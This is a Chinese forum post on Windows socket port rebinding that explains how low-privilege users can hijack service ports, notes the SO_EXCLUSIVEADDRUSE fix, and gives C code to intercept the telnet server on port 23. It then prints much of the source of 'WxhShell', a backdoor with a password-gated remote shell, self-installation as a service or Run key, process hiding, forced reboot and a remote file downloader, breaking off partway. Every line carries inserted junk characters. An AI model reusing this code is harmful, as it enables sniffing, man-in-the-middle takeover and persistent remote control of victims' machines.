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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xv~E wT)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =O'>H](Q  
f/tJ>^N5  
  saddr.sin_family = AF_INET; "cx#6Bo|  
 :qrCqFl  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Or"+d 5  
7cly{U"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <BhNmEo)2  
E2yL9]K2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 SEsLJ?Dv0  
_>(qQ-Px  
  这意味着什么?意味着可以进行如下的攻击: |5#iPw_wMY  
C252E  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ct0YwIR*  
cB|Rj}40v  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :WAFBK/x  
O%p+P<J  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  d>}R3T  
?/FCq6o  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  g<jgR*TE`  
/rZ`e'}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Uq:CM6q\  
b";D*\=x  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 SZL('x,"^  
~v^I*/uY  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?b3({P  
QRAw#  
  #include >SaT?k1E  
  #include n}toUqUnk\  
  #include ,,CheRO  
  #include    ~WX40z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2pV@CT  
  int main() ^^{7`X u  
  { * $v`5rP  
  WORD wVersionRequested; CK#SD|~:  
  DWORD ret; l t{yo\  
  WSADATA wsaData; W B7gY\Y&M  
  BOOL val; y3Lq"?h  
  SOCKADDR_IN saddr;  ];hK5  
  SOCKADDR_IN scaddr; [zc8f  
  int err; V jZx{1kCR  
  SOCKET s; 8bW,.to(?x  
  SOCKET sc; 9 t o2V  
  int caddsize; }4wIfI83K,  
  HANDLE mt; :Mzkm^7B  
  DWORD tid;   t7qzAr  
  wVersionRequested = MAKEWORD( 2, 2 ); *;X,yEK[  
  err = WSAStartup( wVersionRequested, &wsaData ); 8|H^u6+yz  
  if ( err != 0 ) { 6[SE*/E@L  
  printf("error!WSAStartup failed!\n"); MWn+e  
  return -1; c^%&-],  
  } $C`YVv%?0  
  saddr.sin_family = AF_INET; C ehz]C  
   8D1+["&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _0 $W;8X  
Ry4`Q$=:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); tk~<tqMq  
  saddr.sin_port = htons(23); PYJ8\XZ1_N  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5`O af\S  
  { v]e6CZwo  
  printf("error!socket failed!\n"); n s`njx}C  
  return -1; <OA[u-ph%S  
  } e'L$g-;>4b  
  val = TRUE; +RN|ZG&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ddG5g  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) VMgO1-F  
  { aOK,Mm:iO  
  printf("error!setsockopt failed!\n"); E6_.Q `!ll  
  return -1; 3Q_L6Wj~  
  } '?j,oRz^T  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,G%?}TfC)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -:NFF'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |"o/GUI~  
Ld$e  -dB  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?^3Q5ye  
  { $ITh)#Nj  
  ret=GetLastError(); HqKI|^  
  printf("error!bind failed!\n"); {Tl|>\[P  
  return -1; f<}>*xH/k  
  } !K5D:x  
  listen(s,2); CZ.XEMN\  
  while(1) YpwMfl4  
  { LG> lj$hO  
  caddsize = sizeof(scaddr); -naoM  
  //接受连接请求 <[w>Mbqj_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); n1 kh8,  
  if(sc!=INVALID_SOCKET) YDo Vm?  
  { 0DgEOW9H  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); N\Li/  
  if(mt==NULL) 2/M:KR  
  { QZ^P2==x  
  printf("Thread Creat Failed!\n"); N9jSiRJ  
  break; aK4ZH}XHE"  
  } ``9`Xq  
  } Gp5[H}8K  
  CloseHandle(mt); A@qwD300Vo  
  } <Z58"dg.5  
  closesocket(s); +tSfx  
  WSACleanup(); 1 wB2:o<  
  return 0; HA W57N  
  }   xXn2M*g  
  DWORD WINAPI ClientThread(LPVOID lpParam) P K9BowlW  
  { Bgy?k K2[  
  SOCKET ss = (SOCKET)lpParam; ,)](h+zl_6  
  SOCKET sc; l d@B  
  unsigned char buf[4096]; ]5`Y^hS_g  
  SOCKADDR_IN saddr; .W1i3Z6g  
  long num; -/z#?J\  
  DWORD val; "[M k5tM  
  DWORD ret; Y*q_>kps"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 HMrl!;:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   f{j (H?5  
  saddr.sin_family = AF_INET; :jU u_s}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _q /UDf1  
  saddr.sin_port = htons(23); 6nP-IKL  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NNM+Z:  
  { *^_ywqp  
  printf("error!socket failed!\n"); DgiMMmpE  
  return -1; qp)a`'Pq  
  } cJ#|mzup  
  val = 100; }6#u}^gy  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .6xIg+  
  { 6Lhfb\2?  
  ret = GetLastError(); cc_v4d{x  
  return -1; gHe%N? '  
  } 3Sclr/t  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E,g5[s@  
  { IQya{e  
  ret = GetLastError(); @h$4Mt7N  
  return -1; dB%q`7O  
  } "Nlw&+ c7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ZB@Bj>,b p  
  { 'hn=X7  
  printf("error!socket connect failed!\n"); @+ee0 CLT  
  closesocket(sc); NiPa-yRh  
  closesocket(ss); +kN/-UsB  
  return -1; QYj8c]8f  
  } w +~,Mv\  
  while(1) x8q3 Njr  
  { |r%lJmBB  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 rW<sQ0   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $b=4_UroS  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s`E^1jC  
  num = recv(ss,buf,4096,0); %A ^qm  
  if(num>0) e+ckn   
  send(sc,buf,num,0); pg:1AAhT[  
  else if(num==0) [sF z ;Py]  
  break; oiL^$y/:;z  
  num = recv(sc,buf,4096,0); ~:M"JNcs  
  if(num>0) 5Dv ;-G;  
  send(ss,buf,num,0); h%yw'?s  
  else if(num==0) m\O|BMHn  
  break; c2iPm9"eh  
  } 3$Y(swc  
  closesocket(ss); ,j|9Bs  
  closesocket(sc); JVx ,1lth  
  return 0 ; C% )Xz  
  } mx:)&1  
d5z?QI  
S+7:fu2?+  
========================================================== Zz@0Oj!`  
5C&]YT3 )  
下边附上一个代码,,WXhSHELL A0>u9Bn"Qw  
eYD|`)-f<^  
========================================================== `3KXWN`.s  
R]y[n;aGC  
#include "stdafx.h" FPB O=?H.  
tF@hH}{;  
#include <stdio.h> 6x$1En  
#include <string.h> }q~M$  
#include <windows.h> =|_{J"sv  
#include <winsock2.h> *#n?6KqZ  
#include <winsvc.h> wf[B-2q)  
#include <urlmon.h> 8H})Dq%d7  
FBCi,_ \4  
#pragma comment (lib, "Ws2_32.lib") ,b/qcu_|-  
#pragma comment (lib, "urlmon.lib") O^W.5SaR  
D3BNA]P\2@  
#define MAX_USER   100 // 最大客户端连接数 f6d:5 X_  
#define BUF_SOCK   200 // sock buffer 6JYVC>i  
#define KEY_BUFF   255 // 输入 buffer w?LDaSz\t  
l0%qj(4`6&  
#define REBOOT     0   // 重启 N-g=_86C"  
#define SHUTDOWN   1   // 关机 [LHx9(,NM  
LQs>[3rK  
#define DEF_PORT   5000 // 监听端口 hQT  p&  
O=C z*j  
#define REG_LEN     16   // 注册表键长度 |re>YQ!zd  
#define SVC_LEN     80   // NT服务名长度 ?z]h Ysy  
-(Y(K!n  
// 从dll定义API cJ> #jl&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;[ag|YU$Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v|r=}`k=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3TDjWW;#~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @TTB$  
}%;o#!<N(@  
// wxhshell配置信息 V&75n.L  
struct WSCFG { (6*CORE   
  int ws_port;         // 监听端口 .*bu:FuDE  
  char ws_passstr[REG_LEN]; // 口令 MI,b`pQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8LMO2Wyq  
  char ws_regname[REG_LEN]; // 注册表键名 uIO<6p)  
  char ws_svcname[REG_LEN]; // 服务名  3~mi  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9Un3La8PX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 86BY032H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JQt Bt2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tf5h/:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {M.OOEcIp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #J,?oe=<4  
os3jpFeG'  
}; jBO/1h=  
,+gU^dc|hq  
// default Wxhshell configuration &H`AS6  
struct WSCFG wscfg={DEF_PORT, %FDv6peH  
    "xuhuanlingzhe", N`JkEd7TT  
    1, Hlr[x  
    "Wxhshell", Id/-u[-yo  
    "Wxhshell", ])sIQ{P  
            "WxhShell Service", l|z0aF;z  
    "Wrsky Windows CmdShell Service", 1zDat@<H  
    "Please Input Your Password: ", zP8a=Iv  
  1, qkEre  
  "http://www.wrsky.com/wxhshell.exe", M!9gOAQP  
  "Wxhshell.exe" U>,E]'  
    }; ka^sOC+Y  
M'n2j  
// 消息定义模块 122%KS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8-2e4^ g(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fXV+aZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 41S.&-u  
char *msg_ws_ext="\n\rExit."; {7%W /C#A  
char *msg_ws_end="\n\rQuit."; _Prh&Q1zs  
char *msg_ws_boot="\n\rReboot..."; 4NY}=e5  
char *msg_ws_poff="\n\rShutdown..."; >+ P5Zm(_  
char *msg_ws_down="\n\rSave to "; jOYa}jm?  
^Pq4 n%x  
char *msg_ws_err="\n\rErr!"; @]rl2Qqe  
char *msg_ws_ok="\n\rOK!"; nF Mc'm  
d=q&% gqN  
char ExeFile[MAX_PATH]; \x,q(npHi  
int nUser = 0; {c;][>l  
HANDLE handles[MAX_USER]; $hn=MOMc  
int OsIsNt; j0XS12eM  
Y2j>@  
SERVICE_STATUS       serviceStatus; R0l5"l*@+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'K L" i  
nI63Ns  
// 函数声明 N}j]S{j}'  
int Install(void); -8r';zR  
int Uninstall(void); 8$+mST'4N  
int DownloadFile(char *sURL, SOCKET wsh); ~^{jfHTlv  
int Boot(int flag); 5-3.7CO$  
void HideProc(void); CTG:C5OK  
int GetOsVer(void); ~`uEZ  
int Wxhshell(SOCKET wsl); C3XB'CL6  
void TalkWithClient(void *cs); [%);N\o2Y  
int CmdShell(SOCKET sock); 7<T1#~w4L  
int StartFromService(void); Q=,6W:j  
int StartWxhshell(LPSTR lpCmdLine); *CIR$sS  
|B<;4ISaRI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BkP'b{z|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nD8 Qeem@  
iB]xYfQ&@V  
// 数据结构和表定义 lhx"<kR 4  
SERVICE_TABLE_ENTRY DispatchTable[] = ;77#$H8)  
{ -&Cb^$.-x  
{wscfg.ws_svcname, NTServiceMain}, U/W<Sa\`  
{NULL, NULL} Hd/|f;  
}; YT*_ vmJV  
[eb?Fd~WB]  
// 自我安装 s#8mD !T|  
int Install(void) pdz_qj!Z  
{ d3m!34ml  
  char svExeFile[MAX_PATH]; o*[n[\cR  
  HKEY key; kK0.j)(  
  strcpy(svExeFile,ExeFile); Q|DVB  
Ap :mc:  
// 如果是win9x系统,修改注册表设为自启动 wb#ZRmx}  
if(!OsIsNt) { nE 2w ?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O ;34~k   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @%oHt*u  
  RegCloseKey(key); #{m~=1%;Ya  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8l?mNapy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P1r)n{;  
  RegCloseKey(key); vky@L!&,  
  return 0; u%o]r9xl'  
    } d;4LHQ0yU  
  } 3>~W_c9@  
} Y#/mE!&  
else { TbUouoc  
Qb.Ve7c  
// 如果是NT以上系统,安装为系统服务  .J0Tn,m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *&=sL  
if (schSCManager!=0) u . xUM  
{ sbju3nvk  
  SC_HANDLE schService = CreateService W<QMUu  
  ( q)m0n237P  
  schSCManager, hR g?H  
  wscfg.ws_svcname, /:+f5\"-b  
  wscfg.ws_svcdisp, ,w9:)B7  
  SERVICE_ALL_ACCESS, j$<sq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z7="on4  
  SERVICE_AUTO_START, B2R^oL' }  
  SERVICE_ERROR_NORMAL, uIvAmc4  
  svExeFile, |#>:@{X<  
  NULL, Xxz_h*  
  NULL, U '$W$()p  
  NULL, Q{:5gh  
  NULL, K&\ q6bU  
  NULL  W0&x0  
  ); __3s3YG  
  if (schService!=0) I1a>w=x!+  
  { XK";-7TZt  
  CloseServiceHandle(schService); =o!1}'1}}  
  CloseServiceHandle(schSCManager); Q[wTV3d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?xRx|_}e  
  strcat(svExeFile,wscfg.ws_svcname); jDV;tEY#^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c)b/"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tbH` VD"u  
  RegCloseKey(key); zc`gm~@  
  return 0; -J06H&/k  
    } #Ns]l<  
  } ]UMt  
  CloseServiceHandle(schSCManager); f*:DH4g }B  
} |h7 d #V>  
} &2P+9j>  
M3 TsalF  
return 1; xk#q_!(j  
} }%T8?d]  
C-}@.wr(  
// 自我卸载 &P0jRT3e#Y  
int Uninstall(void) v>[U*E  
{ w YEkWB^  
  HKEY key; t)i{=8 rq  
$M0F~x  
if(!OsIsNt) { (\I9eBm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { - K@mjN  
  RegDeleteValue(key,wscfg.ws_regname); LwI A4$d  
  RegCloseKey(key); O-=~Bn _  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C)a;zU;9  
  RegDeleteValue(key,wscfg.ws_regname); OpNxd]"T  
  RegCloseKey(key); DO^ J=e  
  return 0; 38 -vt,|  
  } eXYf"hU,  
} TdCC,/c 3  
} Qms,kX  
else { QMz6syn4u  
M SnRx*-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g0Ff$-#7  
if (schSCManager!=0) wAvnj  
{ >x3$Ld  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P&=H<^yd  
  if (schService!=0) -_KO}_  
  { 9'5`0$,|^  
  if(DeleteService(schService)!=0) { 9*<=K  
  CloseServiceHandle(schService); PsMp &~^  
  CloseServiceHandle(schSCManager); 0D s W1  
  return 0; 'Zket=Sm;  
  } r3BQo[ 't  
  CloseServiceHandle(schService); y"L7.B  
  } ,O'#7Dj  
  CloseServiceHandle(schSCManager); 0#d:<+4D  
} T!yI+<  
} r-s9]0"7~  
[gybdI5wur  
return 1; (Ev=kO  
} '| 6ZPv&N  
<Rb[0E$  
// 从指定url下载文件 &<>NP?j}  
int DownloadFile(char *sURL, SOCKET wsh) XZ&cTjNB&  
{ ^aONuG9  
  HRESULT hr; }ZKG-~  
char seps[]= "/"; ? koIZ  
char *token; k0(_0o  
char *file; ;_oJGII?br  
char myURL[MAX_PATH]; i>aIuQ`pe  
char myFILE[MAX_PATH]; I)AbH<G{  
S%p.|!  
strcpy(myURL,sURL); DCheG7lo{  
  token=strtok(myURL,seps); s$wIL//=  
  while(token!=NULL) }HKt{k&$  
  { Mjj5~by:  
    file=token; 1Uaj}= @M  
  token=strtok(NULL,seps); 5@-[[ $dk  
  } >3qfo2K 0  
csd~)a nb  
GetCurrentDirectory(MAX_PATH,myFILE); GD -cP5$  
strcat(myFILE, "\\"); Zn{Y+ce7d  
strcat(myFILE, file);  {S$61ut  
  send(wsh,myFILE,strlen(myFILE),0); @r*w 84  
send(wsh,"...",3,0); ec sQshR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Re<@ .d  
  if(hr==S_OK) |6O7_U#q  
return 0; Jmml2?V-c  
else 3Jh!YzI8  
return 1; l8~s#:v6X  
%E k!3t  
} hqW),^\>'  
(Zz8 ldO  
// 系统电源模块 dQQ!QbI(.  
int Boot(int flag) 6BdK)s  
{ @j`gx M_-O  
  HANDLE hToken; M/J?$j  
  TOKEN_PRIVILEGES tkp; Wi+}qO  
F^Y%Q(Dd7w  
  if(OsIsNt) { @QO^3%b8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hQ@E2Xsv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o6/"IIso3  
    tkp.PrivilegeCount = 1; h3rVa6cxM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QF4)@ r{2x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =fcM2O#$  
if(flag==REBOOT) { k4-S:kVo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Xx+eGV";`  
  return 0; '',g}WvRwe  
} {XEX0|TZ  
else { wM1&_%N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \&MJ(F>vJ  
  return 0; {%+UQ!]d8  
} 3%(,f,  
  } ]R*h3U@5#K  
  else { Y.b?.)u&  
if(flag==REBOOT) { jYk5]2#A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WYm<_1  
  return 0; {l9gYA  
} r7jh)Q;BbR  
else { GCj[ySCD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ' >k1h.i  
  return 0; yXT.]%)  
} +.-g`Vyz*  
} cb5T-'hY  
y!VL`xV  
return 1; PS3jCT  
} BIXbdo5F  
O<P(UT"  
// win9x进程隐藏模块 VVw5)O1'  
void HideProc(void) Y3JIDT^  
{  :!/ (N  
U8a5rF><  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p5aqlYb6r  
  if ( hKernel != NULL ) -)Hc^'.  
  { {_R{gpj'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 64qqJmG 3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q&2L@l3A  
    FreeLibrary(hKernel); hplxs#  
  } sQmJ3 (:HO  
sLd%m+*p  
return; vc C"  
} 69S*\'L  
0[f[6mm%m  
// 获取操作系统版本 6F_:,b^  
int GetOsVer(void) Zd}12HFq  
{ &EhOSu  
  OSVERSIONINFO winfo; $/crb8-C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e^k)756  
  GetVersionEx(&winfo); |pZ:5ta#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CI1K:K AM  
  return 1; _`lPLBr6  
  else TF?~vS%@P  
  return 0; "0Z5cQjg  
} zm mkmTp  
}ag;yf;  
// 客户端句柄模块 fRjp(m  
int Wxhshell(SOCKET wsl) AO,^v+ $  
{ vty:@?3\  
  SOCKET wsh; .cz7jD  
  struct sockaddr_in client; wpD}#LRfm  
  DWORD myID; eExI3"|Q  
x^Zm:Jrw~  
  while(nUser<MAX_USER) 48_( 'z*>  
{ }.D adV  
  int nSize=sizeof(client); XZ<8M}Lg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :Bi 4z(  
  if(wsh==INVALID_SOCKET) return 1; tB`IBuy9!"  
bO* hmDt  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v0(_4U]/  
if(handles[nUser]==0) 2O}X-/H  
  closesocket(wsh); 0j2mTF(C  
else [QIQpBL  
  nUser++; m^ /s}WEqp  
  } NNMn,J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #~4;yY\$I  
Myf2"\}  
  return 0; KB {IWu  
} Wf~PP;  
VAp 1{  
// 关闭 socket j_.tg7X  
void CloseIt(SOCKET wsh) R5xV_;wD  
{ MeYu  
closesocket(wsh); oA8A @,-L  
nUser--; h!`KX2~  
ExitThread(0); yQ !keGj  
} N|%X/UjZ2.  
Js(MzL  
// 客户端请求句柄 )"]( ?V  
void TalkWithClient(void *cs) a1EQ.u  
{ w~3z) ;  
"5v^6R9e  
  SOCKET wsh=(SOCKET)cs; @O|`r(le  
  char pwd[SVC_LEN]; :`c@&WF8  
  char cmd[KEY_BUFF]; f?TS#jG4}  
char chr[1]; ( j:eky  
int i,j;  & [ ,*  
|d,bo/:  
  while (nUser < MAX_USER) { n(.L=VuXn  
\ 0Ba?  
if(wscfg.ws_passstr) { +1r><do;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TAq[g|N-;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g>g*1oS  
  //ZeroMemory(pwd,KEY_BUFF); )2 b-3lz  
      i=0; So= BcX-  
  while(i<SVC_LEN) { vGOO"r(xL  
j8%Y[:~D  
  // 设置超时 nUK;M[  
  fd_set FdRead; ?@<Tzk]a.  
  struct timeval TimeOut; *J{E1])<a  
  FD_ZERO(&FdRead); & x$ps  
  FD_SET(wsh,&FdRead); ZH`(n5  
  TimeOut.tv_sec=8; 6Ilj7m*  
  TimeOut.tv_usec=0; 4wWfaL5"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u4'B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eIOMW9Ivt  
2cwJ);Eg2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xIH= gK  
  pwd=chr[0]; mC3:P5/c  
  if(chr[0]==0xd || chr[0]==0xa) { k"6v& O  
  pwd=0; ^>^h|$  
  break; 0U !&|i\  
  } -j@IDd7  
  i++; ^])s\a$  
    } ""m/?TZq'  
0<##8m@F8  
  // 如果是非法用户,关闭 socket ' Er\ 68  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wh!8\9{g  
} ZZ/k7(8  
Y~w1_>b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :  @$5M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9Q1w$t~Y  
N,.awA{  
while(1) { .HRd6O;  
iBmvy 7S?  
  ZeroMemory(cmd,KEY_BUFF); 8"A0@fNz  
+11 oVW  
      // 自动支持客户端 telnet标准   v^;vH$B  
  j=0; ..w$p-1  
  while(j<KEY_BUFF) { " t?44[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Hz=s)6$ey  
  cmd[j]=chr[0]; *?VB/yO=0  
  if(chr[0]==0xa || chr[0]==0xd) { ~6+Um_A_L  
  cmd[j]=0; QU(Lv(/O  
  break; b`ksTO`}x  
  } HBs 6:[q  
  j++; qIB2eCXw  
    } ,1]VY/  
\FF|b"E_=  
  // 下载文件 /O`R9+;  
  if(strstr(cmd,"http://")) { @Fzw_qr M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @jq H8  
  if(DownloadFile(cmd,wsh)) fAfB.|cd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rV2>;FG  
  else foB&H;A4oC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m)]|mYjju  
  } )@] W=  
  else { PnL?zae  
w2jB6NQX  
    switch(cmd[0]) { zy.v[Y1!  
  .-[]po  
  // 帮助 1#8~@CQ ::  
  case '?': { ,b?G]WQrHs  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :a:m>S<~  
    break; +n)bWB%  
  } *}_i[6_\E  
  // 安装 WI.+9$1:P  
  case 'i': { %IDl+_j  
    if(Install()) +UX} "m~W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vl?fCO  
    else 54/ZGaonz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6WoFf  
    break; qk>M~,  
    } t;:Yf  
  // 卸载 C;#gy-  
  case 'r': { P7REE_<1  
    if(Uninstall()) }=.C~f]A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ca,c+5  
    else ;yCtk ~T%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O2fFh_\  
    break; *Wcq'S  
    } aC<fzUD;  
  // 显示 wxhshell 所在路径 jpOcug`f  
  case 'p': { $$*0bRfd4=  
    char svExeFile[MAX_PATH]; |!1iLWQ  
    strcpy(svExeFile,"\n\r"); \`%#SmQF  
      strcat(svExeFile,ExeFile); uC6e2py<[  
        send(wsh,svExeFile,strlen(svExeFile),0); 2z1r|?l  
    break; Ik@MIxLK  
    } 1F+nWc2b  
  // 重启 woN d7`C}7  
  case 'b': { Hq>rK`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f9hH{ ( A  
    if(Boot(REBOOT)) pK'D(t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ye^xV,U@  
    else { Q8h=2YL  
    closesocket(wsh); 9WHarv2@  
    ExitThread(0); ]eX(K5 A  
    } [|YJg]i-  
    break; H>"P]Y)oX  
    } wy:euKB~   
